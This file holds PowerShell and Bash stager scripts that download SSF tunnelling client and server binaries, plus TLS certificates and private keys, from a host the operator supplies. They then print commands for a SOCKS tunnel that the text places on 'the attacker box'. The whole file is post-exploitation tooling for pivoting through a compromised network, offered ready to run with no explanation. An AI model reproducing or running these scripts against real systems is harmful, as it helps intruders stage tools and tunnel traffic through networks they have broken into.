param([string]$addr, [string]$port)
wget "http://${addr}:${port}/ssf.exe" -o "ssf.exe"
wget "http://${addr}:${port}/ssfd.exe" -o "ssfd.exe"
mkdir certs
cd certs
wget "http://${addr}:${port}/certs/certificate.crt" -o "certificate.crt"
wget "http://${addr}:${port}/certs/dh4096.pem" -o "dh4096.pem"
wget "http://${addr}:${port}/certs/private.key" -o "private.key"
wget "http://${addr}:${port}/certs/server.crt" -o "server.crt"
wget "http://${addr}:${port}/certs/server.key" -o "server.key"
mkdir trusted
cd trusted
wget "http://${addr}:${port}/certs/trusted/ca.crt" -o "ca.crt"
Write-Host "Upload Complete!"
Write-Host "Example Client:"
Write-Host "ssf.exe -F 2222 -p 443 <ip>"
Write-Host "Example Server:"
Write-Host "ssfd.exe -p 443"
cd ..\..
#!/bin/bash
curl "http://$1/ssf" -o "ssf"
curl "http://$1/ssfd" -o "ssfd"
mkdir certs
cd certs
curl "http://$1/certs/certificate.crt" -o "certificate.crt"
curl "http://$1/certs/dh4096.pem" -o "dh4096.pem"
curl "http://$1/certs/private.key" -o "private.key"
curl "http://$1/certs/server.crt" -o "server.crt"
curl "http://$1/certs/server.key" -o "server.key"
mkdir trusted
cd trusted
curl "http://$1/certs/trusted/ca.crt" -o "ca.crt"
echo "Upload Complete!"
echo "Example Client:"
echo "./ssf -F 2222 -p 443 <ip>"
echo "Example Server:"
echo "-/ssfd -p 443"
cd ../..
The Port 9090 is the local socks port on the attacker box and 10000 is the port used to connect client and server ssf.
./ssfd -p 10000
./ssf -F 9090 -p 10000 <ip>